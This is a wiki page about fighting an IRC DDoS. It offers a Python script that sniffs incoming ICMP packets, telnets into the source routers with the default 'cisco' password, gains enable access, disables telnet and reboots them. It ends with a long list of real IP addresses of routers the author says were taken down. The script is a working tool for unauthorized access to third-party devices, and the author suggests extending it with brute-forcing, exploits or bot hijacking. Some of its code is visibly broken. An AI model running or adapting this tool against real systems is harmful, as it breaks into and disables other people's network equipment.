View source for DDoS Attacks/takedowns/Krashed

* First encounter: 2600net, fail DDoS'd home router.
* Aliases: Krashed, [Krashed].

Upon joining my IRC network, Krashed DDoS'd it with his fail Cisco botnet. He scans for routers with the default login as "cisco" then uses them in fail DDoS attacks. To combat this, I wrote the script below which detects incoming ICMP packets (yes, he does use ICMP floods), then telnets back to the connection, logs in with "cisco", runs the enable command to elevate privileges, disables telnet and reboots the router to stop the running attack and prevent any future attacks. He could not put me down after this. It also has support for tcpdump logs and lists of IP addresses, in case you use it after the fact. While this script uses default passwords, it could be modified to use a Cisco IOS exploit or bruteforce the passwords, in case he gets smart (unlikely, it is Krashed the Cisco packet kiddy). At the bottom, you will find a list of routers taken down by this script, if you happen to be an owner of one of these, please secure your devices, a full reset may be in order.

==botnet-takedown.py==
{{code|text=<source lang="python">
#!/usr/bin/python

# botnet-takedown.py
# (C) 2012 rorschach
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 1, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# ----------------------------------------------------------------------
#
# Cisco botnet takedown script.
# Written by rorschach
# Use at your own risk, the actions taken by this app may not be legal.
#
# Run in daemon mode (-d) it will listen for ICMP packets, when it sees one
# it will attempt to attack the IP. 
#
# In tcpdump parse mode (-t) it will parse a tcpdump log for offending
# IP addresses.
#
# In IP list mode (-i) it simply takes in a list of IP adresses to attack.
#
# This script will login to open Cisco routers, turn off telnet and
# then reboot it. The functionality could be modified to do things
# like take over the bot so only you can use it, turn the attack on
# the attacker, etc. The sky is really the limit here. Modify the 
# takedown() function for this.
#
# Dependencies: python 2.x and scapy
# To install on Ubuntu:
#
#  sudo apt-get install python-scapy
#
# This script must be ran as root if using daemon mode, due to the fact
# that it sniffs packets using scapy.
#
# Enjoy the script.

import sys, telnetlib, re, os, time, socket, threading
from threading import Thread
from scapy.all import *

def usage(argZero):
  print "Usage: " + argZero
  print "  * -d               -- Daemon mode, parse IPs live from incoming ICMP packets."
  print "  * -t <tcpdump log> -- Parse IPs from tcpdump log."
  print "  * -i <ip list>     -- Load IPs from list."
  exit(1) 

def takedown(ip):    # Disable router using telnet.
  print " [*] Disabling " + ip.rstrip()
  try:
    tn = telnetlib.Telnet(ip,23,2)

    tn.read_until("Password:", timeout=2) # modify these commands to change functionality
    tn.write("cisco\n")
    tn.read_until(">", timeout=2)
    tn.write("enable\n")
    tn.read_until("Password:", timeout=2)
    tn.write("cisco\n")
    tn.read_until("#", timeout=2)
    tn.write("config\n")
    tn.read_until("Configuring from terminal, memory, or network [terminal]?", timeout=2)
    tn.write("\n")
    tn.read_until("(config)#", timeout=2)
    tn.write("line vty 0 4\n")
    tn.read_until("(config-line)#", timeout=2)
    tn.write("transport input none\n")
    tn.read_until("(config-line)#", timeout=2)
    tn.write("^Z\n")
    tn.read_until("#", timeout=2)
    tn.write("reload\n")
    tn.read_until("System configuration has been modified. Save? [yes/no]:", timeout=2)
    tn.write("yes\n")
    tn.read_until("Proceed with reload? [confirm]", timeout=2)
    tn.write("\n")

    tn.close()
  except:
    print "  [*] Error: " + ip.rstrip()

def takedownParse(pkt,ips): # Parse packets, check to make sure it is an ICMP echo-request, then make sure it has never been seen before, at that point run takedown()
  if(pkt.summary().split()[2] == "ICMP" and pkt.summary().split()[6] == "echo-request"):
    ip = pkt.summary().split()[3]
    check = 0
    for eip in ips:
      if ip.rstrip() == eip.rstrip():
        check = 1
        break
    if check == 0:
      ips.append(ip)
      f = open("/root/takedown.log", "a+")
      f.write(ip + "\r\n")
      f.close()
      t = threading.Thread(target=takedown,args=(ip,))
      t.start()

def loadIPs(file):  # load IP list from file
  f = open(file, "r")
  ips = f.readlines()
  f.close()

  for ip in ips:
    takedown(ip.rstrip())

def parseDumpLogs(host, logFile):  # parse tcpdump logs
  currentTime = time.time()
  num = 0
  print " [*] Initiating takedown"
  print " [*] Reading tcpdump file"

  f = open(logFile, "r")  # open log, filter out non-icmp packets
  ips = f.readlines()
  for n,ip in enumerate(ips):
    try:
      if ip.split()[5] == "icmp":
        ips[n] = ip.split()[2].rstrip()
      else:
        ips[n] = "null"
    except:
      pass

  ips = list(set(ips))   # remove duplicates

  print " [*] Resolving hostnames to IP addresses"

  for n,ip in enumerate(ips):  # if there is a letter in the IP, resolve it to an IP address
    if(re.search("[a-zA-Z]",ip) != None and ip != socket.gethostname() and ip != "null"):
          try:
        tempIP = socket.gethostbyname(ip)
        if(tempIP != None):
          ips[n] = tempIP.rstrip()
      except:
        pass

  for n,ip in enumerate(ips): # remove extraneous data
    if(ip != socket.gethostname() and ip != "null" and ip != ""):
      if(ip.find(":") != -1):
        ips[n] = "null"
      else:
        num += 1

  print " [*] Taking down " + str(num) + " zombies"

  for ip in ips:        # takedown each IP address
    if(ip != socket.gethostname() and ip != "null" and ip != ""):
      takedown(ip)

  print " [*] Takedown complete\r\n\r\nTook down " + str(num) + " IPs in " + str(time.time() / currentTime) + " seconds."

def takedownDaemon():       # start sniffing and read IP log
  f = open("/root/takedown.log", "r")
  ips = f.readlines()
  f.close()

  print "\r\n -- IPs previously taken down -- \r\n"
  for ip in ips:
    print " [*] " + ip.rstrip()
  print "\r\n ------------------------------- \r\n"

  if os.fork() == 0:
    if os.fork() == 0:
      sniff(prn=lambda pkt:takedownParse(pkt,ips), store=0)

def main():
  print "botnet-takedown.py"

  if(len(sys.argv) < 2):
    usage(sys.argv[0])

  if(sys.argv[1] == "-d"):  # daemon mode
    takedownDaemon(sys.argv[2])

  elif(sys.argv[1] == "-t"): # tcpdump logs
    if(len(sys.argv) == 3):
      parseDumpLogs(sys.argv[2])
    else:
      usage(sys.argv[0])

  elif(sys.argv[1] == "-i"): # ip log mode
    if(len(sys.argv) == 3):
      loadIPs(sys.argv[2])
    else:
      usage(sys.argv[0])

  else:
    usage(sys.argv[0])

if __name__ == "__main__":
  main()
</source>}}

===Routers===
Note: some of these may be active again as the attack was in November.

<pre>
3.3.3.202
3.3.4.190
3.3.5.114
3.3.6.110
3.3.6.146
3.3.6.210
3.3.7.46
24.120.61.2
59.1.1.2
59.145.212.82
59.152.194.14
59.162.54.122
59.163.206.105
59.163.3.241
59.163.52.73
59.163.59.221
59.163.64.157
59.165.231.9
59.40.180.222
59.46.215.106
59.76.80.6
60.0.0.74
60.10.22.145
60.161.186.113
60.190.101.155
60.190.111.14
60.190.22.26
60.2.145.82
60.254.104.134
60.29.72.90
60.8.226.94
61.123.37.86
61.130.156.201
61.130.156.205
61.134.100.166
61.134.119.44
61.138.210.166
61.138.210.170
61.138.210.2
61.14.39.90
61.148.82.62
61.154.39.14
61.16.152.46
61.16.171.86
61.16.176.190
61.16.180.130
61.16.189.166
61.16.190.70
61.163.67.69
61.178.127.119
61.184.82.154
61.185.139.71
61.19.126.74
61.19.45.194
61.232.9.50
61.246.219.210
61.250.94.2
61.33.222.98
61.33.78.185
61.7.234.70
64.125.187.34
64.197.240.138
64.206.168.162
64.233.81.122
64.244.145.40
64.64.64.64
64.76.99.122
65.122.22.178
65.19.157.228
66.110.118.202
66.192.145.5
66.208.254.233
66.248.174.26
67.149.91.119
67.215.65.132
69.93.66.2
71.1.100.155
78.7.92.106
80.120.176.62
80.120.176.66
80.23.119.118
80.255.42.54
80.50.125.38
80.50.41.62
81.17.136.148
81.211.44.76
82.114.167.106
82.128.123.98
82.150.33.28
82.158.35.124
82.178.22.60
82.204.6.6
85.33.115.122
85.33.12.214
85.37.7.142
85.42.145.162
85.44.198.102
86.51.156.222
88.39.26.122
88.44.43.234
88.49.134.203
88.50.227.10
88.52.15.203
88.53.27.102
88.56.8.236
88.58.20.170
88.60.166.42
88.60.18.146
88.61.134.189
88.63.43.14
89.121.211.174
89.222.211.218
89.252.141.2
91.116.150.22
94.174.182.14
94.175.226.82
94.200.122.210
94.40.10.90
94.77.209.106
94.77.209.50
94.77.209.54
94.86.74.60
94.87.209.63
94.88.148.122
94.90.57.114
94.91.106.254
94.92.106.173
94.92.106.226
94.92.106.82
94.92.110.246
94.92.112.58
94.92.117.122
94.92.122.154
94.92.68.130
94.92.68.131
94.92.68.174
94.93.204.114
94.95.230.6
97.65.105.94
98.23.121.130
111.252.205.23
112.179.62.47
115.113.26.26
115.92.248.58
117.8.12.6
119.226.35.102
121.253.217.230
121.96.70.246
123.131.127.74
123.133.133.42
123.140.32.250
123.140.32.252
123.140.32.254
123.178.136.126
123.232.106.12
123.27.62.13
123.30.20.210
123.30.20.218
123.30.33.78
124.126.245.182
124.205.51.58
124.247.199.126
124.247.240.218
124.29.251.238
124.30.121.106
124.30.123.138
124.30.127.26
124.30.135.130
124.30.138.150
124.30.140.206
124.30.145.106
124.30.154.14
124.30.154.166
124.30.166.74
124.30.18.130
124.30.188.242
124.30.208.170
124.30.36.174
124.30.48.198
124.30.52.82
124.30.97.102
124.42.106.156
124.47.12.18
124.65.80.66
124.67.64.26
124.74.25.142
124.74.27.230
124.74.44.98
124.74.97.66
125.158.30.230
125.16.149.218
125.16.149.66
125.16.217.114
125.16.217.90
125.16.27.84
125.16.90.214
125.17.16.186
125.18.253.118
125.19.192.58
125.19.208.22
125.19.211.30
125.19.38.218
125.19.45.10
125.19.45.178
125.19.48.58
125.20.210.2
125.20.32.190
125.20.32.2
125.20.32.46
125.21.160.174
125.21.80.2
125.21.83.1
125.21.83.105
125.21.83.113
125.21.83.121
125.212.32.10
125.212.33.210
125.22.194.178
125.22.30.74
125.22.51.182
125.23.162.86
125.23.168.2
125.234.240.2
125.235.11.46
125.249.92.122
125.249.92.126
125.254.40.226
125.35.85.182
125.35.92.38
125.46.55.242
125.5.98.94
125.60.64.94
125.64.39.66
125.74.189.34
140.112.0.109
140.112.98.252
140.114.109.252
140.114.109.253
140.115.131.250
140.116.160.254
140.116.180.252
140.116.198.252
140.116.199.252
140.116.243.138
140.116.243.170
140.116.243.194
140.116.243.22
140.116.243.246
140.122.60.115
140.123.244.200
140.125.150.251
140.137.32.1
140.137.32.2
142.177.149.166
144.223.10.118
150.93.240.251
152.179.26.198
168.131.100.112
168.187.101.10
168.187.101.22
168.187.109.46
168.187.233.97
168.187.59.6
173.12.198.107
173.245.50.236
174.136.103.74
177.16.158.56
184.171.166.186
184.172.247.57
186.42.199.150
186.42.199.254
186.42.199.50
186.42.199.58
186.42.214.106
186.42.214.150
186.42.214.78
186.42.227.130
186.42.255.130
186.46.3.186
186.46.30.118
186.46.30.146
186.46.30.218
186.46.42.130
186.46.42.146
186.46.56.226
186.46.58.10
186.46.59.218
187.12.161.138
187.12.163.146
187.12.163.242
187.12.164.90
187.12.165.98
187.12.166.234
187.12.166.66
187.12.170.194
187.12.217.194
187.125.129.166
187.125.188.198
187.125.55.138
187.125.89.122
187.125.92.82
187.4.74.138
187.4.74.142
187.4.74.158
187.4.74.170
187.4.74.174
187.4.74.186
187.4.75.222
187.4.77.250
187.72.56.25
187.76.127.246
187.76.147.46
187.76.158.138
187.76.213.42
187.76.233.178
187.76.233.234
187.92.123.34
189.2.125.182
189.203.17.22
189.206.15.86
189.210.7.246
189.52.179.174
189.52.192.194
189.52.192.58
189.53.36.210
189.53.69.198
189.56.165.190
189.75.194.62
189.80.51.62
189.86.25.238
190.104.1.214
190.105.172.2
190.116.114.30
190.129.78.81
190.152.17.234
190.152.88.58
190.167.192.21
190.168.111.2
190.41.184.161
190.80.159.85
190.81.14.36
190.81.16.90
190.81.18.84
190.81.19.91
190.81.2.116
190.81.2.48
190.81.2.79
190.81.2.82
190.81.20.56
190.81.20.72
190.81.20.79
190.81.20.84
190.81.20.86
190.81.20.98
190.81.200.49
190.81.215.150
190.81.216.80
190.81.217.21
190.81.222.45
190.81.222.53
190.81.225.106
190.81.225.95
190.81.230.250
190.81.231.113
190.81.232.118
190.81.233.76
190.81.235.226
190.81.239.100
190.81.241.134
190.81.255.13
190.81.34.246
190.81.4.24
190.81.6.96
190.81.64.3
190.81.70.13
190.81.70.38
190.81.70.73
190.81.70.82
190.81.72.240
190.81.72.73
190.81.73.163
190.81.74.4
190.81.8.22
190.81.80.190
190.81.82.8
190.81.87.67
192.192.7.174
192.192.7.34
192.8.194.242
193.22.172.239
194.186.184.26
194.84.255.61
195.202.65.109
195.202.88.5
195.230.58.197
195.239.133.62
195.24.215.70
195.39.169.186
196.200.91.171
196.202.245.170
196.219.199.171
196.25.14.222
196.28.245.102
196.44.48.137
2.113.44.250
200.101.65.126
200.11.214.254
200.110.80.98
200.12.229.190
200.140.144.10
200.149.32.26
200.151.200.230
200.151.223.66
200.151.241.34
200.151.86.34
200.155.146.42
200.164.72.62
200.164.87.26
200.164.92.66
200.165.146.226
200.165.164.78
200.167.224.138
200.167.42.254
200.174.44.178
200.179.207.250
200.183.19.114
200.187.145.14
200.199.174.10
200.199.64.50
200.202.211.158
200.208.247.42
200.211.163.46
200.211.180.194
200.214.131.238
200.214.175.86
200.214.224.162
200.216.223.58
200.216.228.238
200.216.228.82
200.216.244.74
200.216.55.18
200.216.55.58
200.216.60.10
200.216.64.182
200.217.222.110
200.217.222.218
200.217.75.70
200.217.75.78
200.217.75.82
200.222.107.206
200.223.136.190
200.223.136.98
200.223.234.254
200.223.3.250
200.223.64.10
200.223.8.114
200.223.80.18
200.236.1.227
200.241.190.206
200.242.157.254
200.242.226.130
200.246.107.102
200.248.199.202
200.252.110.34
200.252.110.82
200.252.114.234
200.252.247.18
200.254.109.134
200.36.163.58
200.36.172.186
200.36.173.110
200.36.178.150
200.37.200.36
200.37.234.109
200.38.8.206
200.44.153.142
200.50.20.218
200.52.141.146
200.52.4.117
200.62.172.174
200.76.84.150
200.76.84.162
200.76.85.242
200.87.109.234
200.87.132.41
200.87.132.97
200.87.141.129
200.87.148.209
200.88.212.101
201.18.35.50
201.198.255.250
201.217.24.12
201.30.88.82
201.31.50.230
201.34.1.122
201.35.63.174
201.45.88.82
201.56.97.134
201.57.197.222
201.57.36.42
201.64.0.142
201.72.148.234
201.72.209.174
201.72.250.206
201.90.48.118
201.90.48.198
202.100.151.30
202.100.151.82
202.101.179.254
202.103.10.170
202.103.228.86
202.106.57.122
202.131.146.1
202.153.38.230
202.158.165.246
202.159.226.50
202.163.89.132
202.163.95.23
202.166.198.22
202.166.198.81
202.177.148.182
202.177.165.46
202.177.30.166
202.190.73.230
202.216.244.132
202.216.244.133
202.39.144.53
202.40.236.75
202.47.230.6
202.47.231.214
202.47.250.119
202.51.181.20
202.54.115.74
202.54.12.12
202.54.12.82
202.54.42.5
202.54.51.51
202.7.188.114
202.73.39.14
202.75.159.226
202.79.204.195
202.79.204.198
202.83.107.114
202.85.218.14
202.96.103.105
202.96.17.50
202.97.156.58
202.98.24.113
202.99.72.61
203.115.4.150
203.115.8.214
203.122.43.101
203.123.142.210
203.123.144.30
203.123.144.6
203.123.187.162
203.134.120.50
203.152.9.62
203.155.221.252
203.156.204.193
203.156.212.246
203.156.240.6
203.162.143.86
203.166.46.38
203.170.178.206
203.187.228.14
203.189.149.68
203.196.139.30
203.196.140.46
203.196.166.38
203.196.167.210
203.197.114.70
203.197.130.13
203.197.143.225
203.199.189.250
203.199.94.245
203.200.85.38
203.201.220.50
203.201.60.230
203.201.61.114
203.201.61.206
203.201.61.26
203.221.1.122
203.248.27.16
203.250.100.2
203.250.100.4
203.253.90.109
203.58.22.42
203.58.28.214
203.66.61.65
203.72.191.42
203.90.78.106
203.90.93.88
203.94.91.22
204.110.12.181
204.110.12.189
205.125.14.253
205.171.45.194
205.244.148.134
206.82.204.36
207.225.193.110
208.110.253.240
208.158.6.202
208.180.227.163
208.48.207.131
209.101.234.166
209.124.97.10
209.146.175.33
209.201.118.173
209.210.8.74
209.253.110.102
210.101.74.252
210.123.181.62
210.176.115.26
210.177.35.130
210.18.119.102
210.18.28.66
210.18.31.78
210.18.39.138
210.18.49.42
210.18.61.134
210.183.92.78
210.19.5.134
210.19.7.162
210.208.119.251
210.210.102.22
210.210.103.130
210.210.39.182
210.210.45.70
210.210.57.18
210.210.71.234
210.210.98.234
210.212.180.241
210.212.201.194
210.212.88.56
210.212.95.50
210.222.178.150
210.241.31.229
210.242.94.177
210.27.177.22
210.5.24.58
210.69.9.109
210.73.73.253
210.73.74.253
210.74.174.250
210.82.91.29
210.83.161.26
210.94.139.250
211.103.128.2
211.103.246.94
211.119.123.161
211.137.166.158
211.138.144.70
211.142.85.79
211.143.119.146
211.144.97.67
211.152.47.142
211.180.234.122
211.185.16.126
211.223.116.211
211.24.227.237
211.24.255.126
211.25.222.82
211.38.144.253
211.40.204.2
211.43.211.77
211.50.146.124
211.50.146.126
211.72.69.189
211.75.103.205
211.76.116.12
211.90.80.254
211.92.13.246
211.95.4.138
211.95.6.50
211.99.135.200
211.99.14.38
212.116.194.254
212.116.202.182
212.119.80.52
212.127.5.250
212.154.163.82
212.154.184.2
212.154.245.34
212.156.122.178
212.156.59.114
212.156.81.82
212.174.109.51
212.175.9.19
212.19.159.50
212.248.126.58
212.46.2.251
212.66.97.250
212.88.100.130
212.88.102.10
212.88.103.218
213.160.184.219
213.166.136.2
213.166.136.253
213.166.136.3
213.166.136.4
213.166.136.6
213.172.200.55
213.172.65.31
213.175.168.210
213.181.170.242
213.186.33.13
213.193.36.134
213.193.36.135
213.193.36.139
213.210.206.75
213.227.26.75
213.236.32.140
213.236.32.142
213.241.195.18
213.33.217.214
213.42.104.34
213.42.130.158
213.42.133.166
213.42.133.70
213.42.160.138
213.42.163.170
213.42.192.150
213.42.223.2
213.42.224.66
213.42.65.246
213.42.66.254
213.60.185.27
213.60.186.136
217.139.107.118
217.141.212.2
217.19.148.158
217.199.153.126
217.28.248.30
217.74.238.90
218.236.209.50
218.57.87.6
218.89.135.235
220.245.231.66
221.10.151.3
222.127.102.82
222.223.131.78
222.42.255.82
</pre>